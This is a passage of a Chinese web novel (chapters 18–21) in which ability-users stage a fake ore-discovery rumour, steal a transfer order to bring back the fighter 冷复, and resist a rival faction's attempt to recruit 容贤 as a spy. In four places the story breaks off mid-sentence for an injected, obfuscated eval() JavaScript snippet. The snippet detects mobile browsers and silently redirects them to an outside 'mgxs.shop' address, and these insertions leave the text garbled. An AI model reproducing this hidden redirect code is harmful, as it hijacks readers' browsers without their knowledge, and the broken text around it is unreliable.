冷复喘了口气,声音低了下去,却带着更深的寒意,“李维惜他有个堂兄,叫李朝固,在中心区异防总局后勤装备部当科长,管着各区分局的装备配给和维修预算审批,当年设计赵随石的那伙人里,就有李朝固的影子,我被打发到这里,李维惜得了李朝固的‘特别关照’,说是要‘好好照顾’冷复,别让他太舒服,但也别让他死了或者真跑了,毕竟……有时候还能用用。” “招揽?”容贤捕捉到他话里的信息。 “哼,”冷复冷笑,“李朝固那边的人不是没试探过。许以好处,调离十一区去个清闲点的岗位,条件是忘掉以前的事,必要时说一些关于赵随石过去的错误。”他眼中满是不屑与鄙夷,“我冷复没搞死那些阴险小人是能力不行,至于卖主求荣这种事,真是高看我了,做不来这么有技术含量的事。” 正因如此,他的态度最顽固,对抗最明确,实力又强,孤身一人又不能威胁住,招揽不成,自然就成了必须被重点“关照”、打压到底的对象,在这十一区,他是一把被刻意放在最恶劣环境中、任由其锈蚀,却又不得不偶尔拿出来用的锈刀。 用的时候嫌他不够光亮顺手,不用的时候,又恨不得他彻底烂在角落里。 容贤看着眼前这个满身风霜、伤痕累累却脊梁挺直的男人,心中那团火燃烧得更旺。 这不是简单的怀才不遇,这是一场持续多年的、系统性的、带着明确报复目的的迫害。 “赵哥知道这些吗?”她问。 冷复平复心情,满心复杂,“他知道的,当时没失联的时候问过情况,也试图通过一些渠道给我送过药和补给……但大部分都被李维惜的人截住了,他自身难保,远在十八区,又能做什么?”他终是叹了口气,现实如此苛待他们,强烈的恨意会随着时间深入脊髓。 “现在他回来了。”容贤向前一步,声音清晰而坚定,“他坐稳了清理部部长的位置,在总局有了更多话语权。你知道喜山福利院的案子吗?背后还有更大的问题,他想重建清理 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17168134|195618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 部,需要真正可信、真正能打的人。召回你们,不只是为了补充人手,更是为了纠正当年的错误,把属于你们的位置和尊严,拿回来。” 冷复转回头,目光复杂地看着容贤,又看了看杨理火。“就凭你们俩?还有赵随石……他现在,斗得过那些人吗?” “不试试怎么知道?”杨理火耸耸肩,“赵哥这次回来,不一样了,而且……”他看向容贤,意有所指,“我们也有了点不一样的‘刀’。” 容贤没理会杨理火的调侃,只是看着冷复:“至少,离开这里,离开这种被人当工具又当贼防着的日子。回到你该在的地方,用你的能力,做你该做的事。而不是在这里,被一群蛀虫消耗、磨损。” “该在的地方……”冷复低声重复,目光掠过这间陋室,掠过自己手上未擦净的血污和伤痕,最后落在容贤那双清澈却执着的眼睛。 他曾经并肩作战的战友们啊,他想他们了。 要离开吗?重新回到中心区那个漩涡?再次面对那些曾经陷害他们的人? 风险巨大,前途未卜。 要留下吗?继续在这腐烂的死水沉寂吗?直到某一天真的被消耗殆尽,或者在某次“任务”中“意外”死去? 那一刻,他摆两个选择,可在提问的时候,他就已经知道该怎么选了。 “告诉我,”他最终开口,声音带着柔,“赵随石……部长,具体的计划是什么?我回去,做什么?以及,怎么确保我不会一踏进中心区,就又被安排到另一个十一区?” 容贤和杨理火对视一眼,知道最关键的一步,迈出去了。 * 与此同时,分局主楼顶层,局长办公室。 李维惜靠在宽大却款式老旧的皮质座椅里,叼着一支味道浓烈的廉价雪茄,眯着眼看着面前屏幕上刚刚传回的一段模糊影像,正是冷复在西街制服异能者的后半段过程,由某个围观者的设备偶然拍下,被手下人紧急送来。 画面中,冷复那不动则以,动若雷霆,精准高效的身手,即便隔着模糊的影像,也透着一股令人心悸的寒意。 “啧,身手还是这么毒。”李维惜吐出一口烟圈,语气听不出是赞是贬。 他五十多岁,身体发福,声音虚浮无力,一副被酒色掏空的模样。 站在办公桌前的心腹,行动科的副科长,连忙躬身道:“是,是,冷复能力是没得说,就是这脾气……实在太臭,不服管束,对局长您也缺乏应有的尊敬。您看今天,我让他注意控制损失,他理都不理……” “行了,老董。”李维惜摆摆手,打断了他的抱怨,“他那臭脾气又不是一天两天了,关键是他还能用,而且好用,这就够了。” 他敲了敲桌子,压低声音:“上面那边又来信了,中心区最近不太平,赵随石那小子回来后动作不小,再折腾下去,难保会查出什么,他让我这边把冷复盯紧点,别让他有机会跟旧主搭上线。你知道该怎么做吧?” 副科长眼中闪过一丝了然和兴奋:“明白!局长放心,我知道怎么做,保管让他忙得没心思想别的,也……没力气想别的。”他做了个隐晦的手势。 李维惜满意地点点头,又看了一眼屏幕上定格的、冷复冷漠的侧脸,嗤笑一声:“一把好刀,可惜跟错了主人。既然不能为我所用,那就好好当一把锈掉的刀,用的时候别割伤自己手就行。” 他们不知道的是,生了锈的刀还是刀,曾经是一把锋利无比的刀,刀鞘已经松动。 19. 三人汇合 “嗯,我知道了。”赵随石的声音从通讯器那头传来,他们没有因距离的长短导致沟通有误,“阻碍?不用担心,他们现在明面上已经没有资格阻止,只会在背后做些手脚。你们自己小心,顺利回到这里。” 容贤挂断通讯,“你们也听到了,他说让我们放手做。” 杨理火正百无聊赖地刷着本地新闻,闻言,一手敲了敲手机,“说的容易。”另一只手摊手,“关键是要拿到冷复的正式调令和任命书吧,如果没有那东西,我们带着他离开就是擅离职守,李朝固可以名正言顺地派人拦截,甚至安个叛逃的罪名。” 冷复闻言,讥讽道,“李维惜针对我这么久,调令肯定已经收到了,装聋作哑是他拿手好戏,拖上十天半个月,各种理由搪塞,拖到你们不得不离开,我再被意外发现有什么问题,一切照旧。” 容贤只能想到抢过来,可硬抢肯定不行,他们现在是在十一区的地盘上,闹大了反而被动,于是她说:“如果我们让李维惜离开分局呢?给一个他无法拒绝的理由,然后我们趁机进去拿调令。” “李维惜应该是亲自收在办公室,他有什么好东西只会放在自己待的最多的地方,交给其他人他也不放心。”冷复顿了顿,“不过我要提醒你们,他办公室监控严密,平时还有几个科长在隔壁轮流值班,被发现后警报一响,第一时间就是锁死大楼。” “既如此,让他自己打开如何?”容贤问冷复。 冷复凭借这些年的经验回答,“没可能。” 杨理火说,“是啊,他这人阴的很,一看就不好搞,让他顺着我们来,除非他不坐这个位置了。” “调令只对冷复有用,李维惜不知道我们已经来了,所以并非完全没有办法。” 容贤脑中逐渐形成一个计划,“如果发生一件大事,让他不得不亲自带着冷复前去处理……我们就有机会。” “什么大事能让他亲自出马?”杨理火纳闷,“好歹也是一个局长,虽然是分局的,但好歹也是个官啊,这里的区长和他们都是一伙的,他到时候让区长去做不就行了。” 容贤来之前她研究过十一区的地图和资源分布。 十一区是受异花侵蚀严重的地区之一,导致的环境恶化,已经有半个世纪没有进行开发了,显得资源枯竭,发展落后。 实际这里地下矿藏不少,但正因为废弃,反而有可能…… “十一区有什么正在勘探的项目吗?”她问冷复。 冷复一愣,随即反应过来:“你是说北边那片废矿区?前阵子中心区来了几个技术员,说是搞什么资源普查,好像挺受李维惜重视的,他们怀疑地下还有稀有矿脉,如果真能发现新矿,十一区的经济地位就能翻身,这段时间在位的区长和局长们都可以捞到政绩。” “技术员是从中心区来的?”容贤追问。 “嗯,奥基德生物研究院的下属单位派来的,搞矿产和生物资源联合勘探的。”杨理火抢先回她,“你忘了,我们坐的那趟飞机上就有他们。” 容贤听到奥基德觉得耳熟,但没想出什么来,抛到脑后不谈。 她已经有了个主意,“好,就从这个入手。我们制造一个假消息,说那片矿区有了重大发现,发现了高纯度稀有金属矿,价值连城,消息要让那些技术员相信,由他们告诉李维惜,李维惜一定会亲自去现场确认,因为这是天大的政绩。如果属实,他的位置会更上一步,贪婪会驱使他暂时放下这边的事。” 杨理火精神很多,拍手叫好。 “然后他前脚一走,我们后脚就进他办公室,把调令弄出来。” 容贤还没高兴几秒,就想到关键处,“可保险柜怎么办?我们又不知道密码。” 冷复忽然开口:“提前潜进去,他办公室隔壁有个通风管道,在他输密码的时候,可以看到……”说到最后,他还有些犹豫。 杨理火拍拍他,让他放宽心,“容贤很厉害的,交给她,你就放心吧。” 冷复不知他哪来的那么大自信,他到目前为止,确实还不清楚容贤的实力,所以会担心她出不来。 容贤伸手,让他把手饭在她手心上。 冷复不明所以,杨理火就把他手拿出来,啪的一声,他的手先是感到了热,后来已经开始出汗,他还在坚持,他知道火属性异能者是什么样的,总之,不是容贤这样的。 容贤及时收手,说:“你不用担心我会出不来,我的异能没有地方可以困住我。” 如此狂妄。可冷复没感觉出来她是夸张。 “那就这样。先散布假消息,让那些技术员信以为真。等李维惜带着冷复出发去矿区,我去看密码拿调令,杨理火负责提醒。”容贤看向冷复:“你觉得可行吗?” 冷复沉默片刻,“可以一试。” * 接下来的每时每刻,他们都在为计划做准备。 容贤对杨理火的人脉有了新的认知。 “你在十一区也有人吗?” 杨理火一脸自然的点头,“有什么问题吗?我可是人才哎,只是朋友多一点,很正常吧。” “正…常。”容贤挺佩服。 「北区废弃矿坑的勘探有了惊人发现,地下深处检测到异常强烈的稀有金属反应,极有可能是星空金或蓝铜矿这类高价值资源。」 一条小道消息经过多人传播,最后传到那几个中心区来的技术员耳朵里。 他们半信半疑,信是因为他们根据这里的综合条件分析可能有珍稀矿资源。疑惑是来源不明。 他们关在公寓里讨论了一天一夜,加上上级给的压力,他们还是连夜整理数据,第二天一早便敲响了局长办公室的门。 李维惜听到这个消息,眼睛都亮了,现在公民都有个共识,星空金可以用于制作异能抑制和激发能源等高级设备的关键位置。 这个诱惑实在是太大了,他可以根据此一步登天! 他当即决定亲自带队去现场确认,一刻也不想等,董副科长在一旁提醒,“局长,叫上冷复,他只有在我们眼皮底下,才是最好的。” “冷复?”李维惜心神全被星空金吸引了,可有可无的点头,“叫上他。” 他当着董副科长的面打开保险柜,确认无误,走之前说:“都给我精神点。” 他完全没有意识到,输入密码时,还有一双眼睛正在记着他的一举一动。 容贤将呼吸压得很轻。 董副科长给冷复打了个消息,李维惜下楼就看到了冷复,带着他和技术员,浩浩荡荡地离开了分局。 杨理火换上了内部衣服,混入了办公室中。 等李维惜离开半小时后,容贤跳下来,没有丝毫犹豫,迅速摁下密码键,最上面就是调令,下面有个封面上印着一个她熟悉的标志,十六区源河监狱关联人员备份,伸手将那份档案也抽了出来,她没怎么思考,就拍了下来。 随后,她确定调令上的章没有问题后,装进贴身文件袋里,再离开。 “快走。”杨理火和容贤在规定的时间里在同一个地方相遇,朝微型对讲机和冷复说,“开始撤离。” 冷复看着前面不远处的李维惜,点了点对讲机,示意听到。 容贤和杨理火两人一前一后,按照原路迅速撤离,在董副科长眼皮底下离开,消失在走廊尽头。 * 十一区到中心区的飞机一天两趟,容贤他们要坐的是第二趟。 杨理火早就用总局后勤巡检员的身份办好了三张公务返程机票,身份资料齐全,只是冷复的名字被替换成了一个普通的夏少,照片有些像,但不仔细看,不会发现破绽。 三人最后汇合,比起容贤和冷复的如临大敌,杨理火要轻松一些,在他眼里只要上了飞机就已经安全。 他们三人的离开并非是完全无痕的,冷复中途甩开人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17178331|195618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 离开,就已经引起李维惜的重视,又得出确切的消息,技术员说还没挖出星空矿,消息是道听途说,他这才知道自己被耍了。 他接到来自中心区的李朝固的电话,对方说他真是年纪大了,脑子都糊涂了,言语中的不信任让李他很是害怕,说自己一定可以把他们留在十一区,他拿自己的位置保证。 几辆悬挂分局标志的悬浮车创了好几辆无辜的区民车,急刹进了飞机场内部。 李维惜满脸怒容地跳下车,身后跟着七八个全副武装的治安队员。 此刻三人已经穿过廊桥,登上了飞机。 还没坐稳,就听到广播喊,“所有人员注意!立即封锁机场,暂停一切起飞!有一名涉嫌重大犯罪的在逃人员可能混上飞机,我们要登机检查!” 是李维惜,冷复压低帽子,“不能让飞机停下来。” 容贤浑身已经进入战斗状态,“我知道。” 机组人员面面相觑,但还没等他们反应过来,飞机舱门已经开始缓缓关闭。一位空乘人员礼貌地拦住想要强行登机的治安队员:“抱歉,先生,飞机即将起飞,请出示您的登机牌和授权文件。” “我授权!我是十一区分局局长!”李维惜急了眼,暴跳如雷,推开空乘就要往里冲。结果还是被空乘死死的拦着。 他的电话响起,他不耐烦的想要挂掉,看到上面显示人,十分惶恐的接了起来,“是,我知道,好的。” 挂了后,他黑着脸,不甘心的往里看,没看到他要找的人,最终还是没敢硬闯。 他死死盯着已经关闭的舱门,看着飞机缓缓滑向跑道,升空,消失在无边的天际。 董副科长嚷嚷道,“为什么要放过他们?他们就在里面!” “你以为我不知道吗?就差一点啊,就差那么一点。”李维惜烦躁道,“里面有个人和李朝固关系匪浅,他的意思是不能让我们打扰到这个人。” “这个人什么来头?”董副科长不服气,“凭什么管我们?” “奥基德的楚南莫,李朝固很尊重他,他帮他办了不少事,怎么不能管我们?”李维惜阴沉道,“迟早我要他们都朝我跪下来求我放过。” * 飞机平稳飞行。大约半小时后,一道声音在她身边响起:“这位小姐,打扰一下。” 容贤抬起头,一个年轻人不知何时站在了她座位旁,手里端着两杯饮品,温和道,“飞机提供的水和饮料都不算好,我这有自带上来的茶,请你喝。。” 他举止从容,仿佛只是一个乐于分享的好心人。 末日后进入重建期,什么东西都很稀缺,水果,茶叶,咖啡等和底层人没什么关系。 能喝上茶,这不是个普通人,请陌生人喝茶,还很慷慨。 她接过茶,轻声道谢。 顺势在旁边的空位坐下,看了看她身边的冷复和杨理火,他们在闭目养神,低声开口,“容贤小姐,或者我该叫你…二十八号?” 容贤有些错愕。 “重新介绍一下我自己,我叫楚南莫。” 他安慰似的说,“别紧张。我不是你的敌人。也许,我和你父母一样,期待你可以活下去。” 容贤心跳加速,面上依旧平静:“我不明白你说的意思。” 楚南莫认真地看着她,“之前的事给我们留下太多无奈和悔恨,你父母当年被设计入源河监狱,他们是善良的人,和你说不要追究往事,你应该还没有忘记,既然你离开十六区,我就要提醒你,你踏进中心区的那一刻,已经有人在暗暗注视着你……” 父母?源河监狱?有人设计?暗中看着? “在此相见,是缘分,可以随时来奥基德生物研究院来找我。” 楚南莫轻轻几句就让容贤心里炸了几次。 他是在提醒她?他知道多少?他到底是谁? 不安弥漫在容贤的脑海里,让她难以呼吸。 20. 拉拢 “欢迎归来,辛苦。” 赵随石在中心南区飞机场的出口等待着他们,他身后的悬浮车门已经打开。 容贤和杨理火先后上车,车尔在司机位上,转过身,一脸喜悦,“真的是太险了,就差一点就要交火。” 如果他们在十一区造成的动静太大,中心区这边也不好交代,他们会觉得仅仅召回个旧部就出了这么多事,会向赵随石施压,要求他停止破坏他区的行为。 车尔嗤笑,“也不是一次两次了,回回都这套,说什么公共区域要注意形象,内部问题就在内部解决……他们不嫌烦,我都嫌烦了。” 杨理火漫不经心道,“因为好使呗,也就是现在我们比之前谨慎多了,在外通通用假身份行事,只要不被抓现成,我们就没事。”他见容贤一言不发,“自从那个楚南莫出现,你就一直不对劲,有什么问题吗?” 容贤摇头又点头,见他们关切的看着自己,“我就是好奇他是谁。” 车尔听到楚南莫的名字,讶异道,“他也在吗?” 容贤也惊讶了,“你认识他吗?” 车尔和杨理火双双嗯了声。 杨理火手快,已经点击搜索栏打上楚南莫的名字,一溜串的词条,什么绝世美男,天才中的天才,最受欢迎的学生排名等等,让容贤自己看,“什么叫前途无量,这就是,没有任何短板,起步就是中心区高级生物学院研究生,解决了十年都没有进展国家项目,现在在著名奥基德研究院工作,完美的履历甩开百分之九十九的人。” 容贤认真的往下看,杨理火哼了声,“要我说,他指定有点毛病,找遍全网,一点问题都没有,神仙吗?”他的嫉妒就差写在脸上,“那可不是一般的受欢迎。” 楚南莫的前半生都是透明的,从学生时代开始,他就一直活跃在网络上,有很多粉丝也因此去学了他所在的专业,到现在,这还是热门专业。容贤怎么看,都没看出他这样的人和十六区扯上关系。 她见过他吗? 容贤在源河监狱出生,生活了十一年,期间父母离世,让她好好活着。后来监狱发生了场爆炸,她趁乱逃跑,在十六区成了黑户,直到现在,她成了一名中心区异防局清理部的一员,这期间她努力和其他人一样工作生活。 可她知道,她还是那个在监狱里小心翼翼的怪孩子。 楚南莫的出现,让她不得不回想过往一切,是她遗漏了什么吗? 她怎么想也想不起来。 冷复在上车前,和赵随石拥抱了一下,“好久不见。” “嗯,之后你还会见到其他的旧友。”赵随石拍了拍他的背,“这一次我们一起赢一次。” “好。” 他们都不是感情丰富的人,即使很激动也不会热泪盈眶,相拥而泣。旁边还有送别的陌生人,彼此紧握双手,难舍难离,一步三回头,时间实在紧张,这才开始往前跑。 * 与此同时,繁华地带的一栋高楼上。 监控屏幕的光映照出一张年轻男人的脸,他五官与赵随石有几分相似,但眉宇间多了几分阴郁和冷厉,他面无表情地看着画面中赵随石的悬浮车消失在车流里,缓缓开口:“冷复回来了。其他人,应该也快了。” 站在他身后的李朝固低下头,额头渗出细密的冷汗。他是中心区异防总局后勤装备部的科长,在十一区局长李德海面前可以颐指气使,但在这个年轻人面前,他只能小心翼翼地把准备好的说辞奉上:“赵随石的动作太快,直接省了流程,和指挥官当面提起,当场就拿到了最高级的调令。我们的人都来不及申诉,他的人就已经去了十一区。维惜那边也尽全力阻止了,但您也知道……他派的那两个人,不好对付。” 年轻人没有回头,只是轻轻“呵”了一声。 赵止淮,赵随石的亲弟弟,同辈人中最年轻有为的一个。当年他和赵随石一起竞争清理部部长的位置,他自认能力、人脉、手腕都不输给那个异能孱弱的哥哥,却在最后关头被父亲以品行不端为由否决。他知道是谁在父亲面前说了什么。 他的不甘没有随着时间变淡,反而越来越浓,他在等机会,赵随石被流放到十八区,他在背后出了不少力。本以为那人会死在外面,结果不但活着回来,还一步步坐稳了清理部部长的位置,甚至开始召回旧部,重建势力。 “不能让他太顺。”赵止淮转过身,走到窗边,俯瞰着脚下游走的轻轨,“他身边的人,一个一个处理。先从那个从十六区带回来的人开始。” 李朝固一愣:“容贤?我之前试着和赵随石申请容贤换岗,他不愿意,我听说其他人的申请都被驳回,他看的太死,导致现在容贤一直没有和我们单独联系的可能。” “他当然看的紧。”赵止淮嗤笑,“能一个人端掉喜山福利院,能在十一区把冷复完好无损地带回来,她会是一个普通人吗?”他顿了顿,“她从小在底层长大,没什么根基,也没什么背景,应该是最容易动摇的一个,到时候制造个机会,试探她一下。如果她能为我们所用……” 李朝固神情沉沉,“明白。我会让人去接触,许她点好处,探探口风。” “别太急。”赵止淮摆摆手,“慢慢来。先让她觉得我们是善意,是赏识。等她知道跟着赵随石没前途,自然会动心。” …… 几天后,容贤在清理部食堂吃饭时,遇到一个偶然坐过来的年轻人。对方自称是后勤的小孟,言语间对她很是热情,夸她在福利院案中的表现,说她“前途无量”,又说“有些部门其实更适合你这样的人才”,还暗示“如果有什么需要帮忙的,尽管开口”。 废话连篇,容贤根本没听进去,只是低头吃饭,偶尔嗯一声,没说拒绝,也没答应。 事后,她和赵随石聊完工作,顺便也提了此事,赵随石嘴角勾起,很是意味深长,显然是知道了对方的意思。 “后勤装备部啊,李朝固真是越活越过去了,他背后的人,叫赵止淮,这事我有猜测,但也是这几天才有了证据。” “赵止淮?”容贤第一次听到这个名字。 “我弟弟。”赵随石语气平静,像在说一个不相干的人,“当年和我竞争部长位置,输了,一直记恨在心。我流放十八区,有他一份功劳。”他看向容贤,“他们找你,是想拉拢你。你怎么想?” 容贤想了想:“我没拒绝,他们会不会觉得我可以争取?” “会。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17188533|195618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赵随石笑了,“那就让他们继续这么觉得。你该做什么还做什么,他们要约你,你就去,听听他们说什么。正好,我也想看看,我这个弟弟,到底想干什么。” 容贤点点头。 赵止淮吗? 她也想知道其他的可能。 李朝固差遣小孟办的事有了着落,他说容贤已经同意,接下来就是看好处多不多。 这也是小孟夸大其词了,也是李朝固给他下的死命令,完成不了就没有奖金,他就指望这些钱送孩子去提升异能班。 李朝固倒是全然相信,他不觉得容贤会拒绝的可能。他特意找了个极为隐蔽的地方,体谅容贤不方便,还让小孟亲自领路,好对外有个说法,说是同僚之间的社交。 在昏暗的包厢里,容贤见到了一手操纵十一区集体针对冷复的黑手之一李朝固。 她不动声色,用插在胸口处的微型摄像头对着前方的李朝固。 李朝固上来就让小孟转盘,然后亲切的喊,“小贤啊,来,不知道你喜欢什么,随便准备了点,不够再加。” 容贤看满桌色香味俱全,馋虫开始蠢蠢欲动,没怎么犹豫,就开始下口,“多谢。” 李朝固笑意不减,心底却很轻蔑,如此急像,真是下贱。 见容贤吃饱喝足,他开始谈待遇,他很是担忧道,“像你这般有实力的人,在清理部也太屈才,太委屈你了,你应该站更高的地方才是。” “还好。”容贤实在不知该说什么,她也不觉得自己委屈。 “我这有条明路。”李朝固开始试探,“能让你的能力得到充分发挥。” “请讲。” ……这爽快的态度反而让他迟疑了,“赵随石这个位置是抢来的,他自己能力不足,你在他手下,是没有前途的。” “嗯,你说的明路是什么?” 李朝固哽住,坚持说自己要说的,“你知道赵随石,但他其实有个弟弟,实力强硬,有很多追随者,当年就差一点,如今的清理部部长就会是他。” 容贤终于顺着他的话说,“为什么差一点?” “当然是赵随石这个小人,是他用莫须有的事污蔑他,本来赵局长是偏向他的,可赵随石这么一举报,赵库长觉得他心太飘,不适合这个岗位。”李朝固恨恨道,“让这样的人坐部长职位,对我们异防局,对指挥官,实在是一个大错误。” “确实是。” 见她赞成,李朝固语气缓合,“你是个好孩子,应该知道错误必须要改正吧。” “你能帮我们改正的。” 容贤心想合着什么都不给,拿道义让她做事啊,她冷淡很多,“让我做什么?” 李朝固也看出她的不满,就加了句,“事成之后,你想要什么都可以提。” 容贤这才不情不愿的说,“真的什么都可以?” “真的。” 容贤后面听的都走了神,这说再多,都代表一个意思,让她做间谍,做就做吧,也不给点助力,全靠她自己吗? 很亏。 容贤从包厢出来,李朝固让小孟送她,她拒绝了,“我自己回去就好。” 她隔了一条街,上了一辆黑色悬浮车。 21. 钓鱼 黑色悬浮车平稳地滑入夜色,车内灯光冷白,外面繁华街区的霓虹给夜色染上了温度的颜色。 容贤关上车门,看到了前排副驾驶座上那个小小的红色光点,那是监控设备的指示灯。 赵随石坐在她旁边,神色如常,甚至带着点闲适的笑意,仿佛她只是刚结束一场普通的同事聚餐。 “吃好了?”他问。 “嗯。”容贤点点头,目光扫过那个红点,“李朝固请的,菜不错。” 赵随石轻笑一声,没有追问细节,只是对前座的车尔说:“走吧,回去再说。” 车子汇入车流,窗外的光影在容贤脸上明明灭灭。她靠在椅背上,回想刚才包厢里的一切。 李朝固一直在假笑的脸,冠冕堂皇的说辞,还有最后那句轻飘飘的“事成之后,你想要什么都可以提”。 什么都行?容贤在心里嗤笑。连点实质性的好处都不肯先给,就想让人卖命,这生意做得可真精。 回到总局,三人直接去了赵随石的办公室。车尔最后一个进来,随手启动了反监听装置,办公室的隔音系统全面开启。 “行了,这里安全。”赵随石坐到办公桌后,示意容贤开始。 容贤取出摄像头,和办公室的终端进行对接,很快,包厢里的画面和声音清晰地投射在空气中。 杨理火凑过来看,边看边啧啧出声:“这老小子,说话一套一套的,就是不肯给真东西,事成之后什么都行?这话骗鬼呢。” 车尔也皱眉:“他连具体的条件都没提,就想让你当内线?这也太抠了。” 画面播完,容贤看向赵随石:“他说赵止淮当年是被你诬陷才丢了部长位置。还说我跟着你没前途,他们才是正确的选择。” 赵随石听完,脸上没什么波澜,甚至笑了笑:“我那弟弟,这些年一直在外面说自己是被冤枉的。说得多了,他自己都信了吧。”他顿了顿,看向容贤,“你怎么回的?” “我没拒绝,也没答应。”容贤如实道,“他让我帮他做事,但什么条件都没给清楚。我觉得……很亏。” 杨理火噗嗤笑出声:“很亏?你这评价也太实在了。” 赵随石也笑了,但笑容里带着几分深思,“你做得对。不拒绝,他们就会继续来。下次再约你,条件就会更具体。”他看向容贤,“你愿不愿意继续演下去?” 容贤想了想:“你的意思是,让我假装被他们拉拢?” “对。适当给他们一些‘消息’。”赵随石敲了敲桌子,“李朝固背后是赵止淮,赵止淮背后还有多少人,我一直没摸清,如果你能成为他们‘信任’的人,就能帮我们看到更多。” 容贤点点头,又问:“那给他们什么消息?” “不重要的,或者……我们想让他们知道的。”赵随石转过身,“比如,冷复回来后,其他旧部也快回来了,这件事他们迟早会知道,不如让你透露给他们,用他们回来的大致时间换取信任。” 容贤明白了。这是将计就计,用已知的信息换对方的信任,再通过她摸清对方的底牌。 “好。” …… 接下来的日子,容贤按部就班地工作、训练,偶尔在食堂偶遇小孟,听他说些有的没的。小孟依旧热情,但容贤能感觉到他在观察自己,在试探自己是否可靠。 她没有主动联系李朝固,也没有表现出任何急切。她只是像之前一样,安静、冷淡、不多话。 直到一周后,小孟再次找到她,这次直接递给她一个加密通讯器。 “李科长说,以后用这个联系。”他压低声音,“安全。” 容贤接过,点了点头。 当晚,通讯器震动,李朝固的声音传来:“小贤啊,最近怎么样?清理部那边有什么动静吗?” 容贤想了想,用平淡的语气说:“冷复回来了,赵部长好像在联系其他人。具体我不太清楚,他不太跟我说这些。” 李朝固沉默了两秒,再开口时语气里多了几分急切:“其他人?还有谁?” “好像有几个以前的老人。”容贤按照赵随石交代的说,“我听杨理火提过一嘴,说到时候了,具体没细说。” “好,好。”李朝固连说了两个好,语气里带着压抑不住的兴奋,“小贤,你做得好。继续留意,有消息随时告诉我。” 通讯结束。 容贤看着手里的通讯器,心想:钓鱼?这算上钩了吗。 …… 事实上,赵随石确实在联系旧部。 冷复的回归像一个信号,那些散落在各区的老队员们,原本还在观望、犹豫,现在纷纷主动联系上来。 “老李那边回信了,他说可以回来,但要等手头的事交接完。”车尔拿着平板汇报,“严回春那边有点麻烦,他现在被借调到八区的治安队,那边不放人,得走正式调令。” 赵随石点点头:“严回春的事我来办。向开颜呢?” “向开颜倒是说随时可以,她这几年一直没出错,再加上她的异能属特级治愈。”车尔顿了顿,“不过她那边的分局有点难缠,大概是要好处。” “让他们要。”赵随石语气平淡,“敢要就要承受被彻查的代价。” 车尔笑了:“也是,现在指挥官正对这些蝇营狗苟的事深痛欲绝,撞上枪口也怨不得我们。” 杨理火插嘴:“不过最好还是别闹太大。一次是意外,两次就是挑衅了,那些老家伙正愁没借口呢。” “嗯。”赵随石指了指投影上的李朝固,“冷复的事是我故意让李朝固他们知道的,就是想看看他们的反应,现在反应看到了,他们急了。” “急了就会出错。”容贤接话。 赵随石回头看她,眼里有赞赏,“对。所以我们现在要做的,就是等他们出错。” …… 李朝固确实急了。 从容贤那里得知赵随石正在大规模召回旧部后,他就坐不住了。他第一时间联系了赵止淮。 “止淮,情况不对。”他在加密通讯里急切道,“冷复已经回来了,其他几个也在路上。赵随石这是要大换血啊!” 赵止淮的声音从那边传来,依旧冷静:“急什么?早就知道他会这么做。” “可我们拦不住啊!”李朝固额角冒汗,“上次冷复的事,你让我别太明着拦,我照做了,结果呢?人还是跑了!这次一下子回来好几个,我们更拦不住!” “拦不住,就不拦。”赵止淮语气淡淡。 李朝固一愣:“什么意思?” “他们回来,是光明正大走调令的。你拦,就是违抗总局命令,正好给赵随石把柄。”赵止淮顿了顿,“所以不拦,让他们回来。” “那……那我们就这么看着?”李朝固不甘心。 “看着?当然不。”赵止淮短粗的笑了一声,“他们回来,是回到中心区。中心区是什么地方?人多,眼杂,事故也多。出点什么意外,很正常。” 李朝固觉得听懂了,但还不确定,试探道:“你的意思是说……” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17197338|195618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我什么都没说。”赵止淮打断他,“你自己看着办,但记住,不能留痕迹。” 通讯结束。李朝固坐在昏暗的办公室里,手指轻轻敲着桌面,脑子里飞速转动。 意外……什么意外能让赵随石这些旧部“出事”,又不会牵扯到自己? 他想了很久,终于有了主意。 三天后,中心区,西区边缘,一条偏僻的老街。 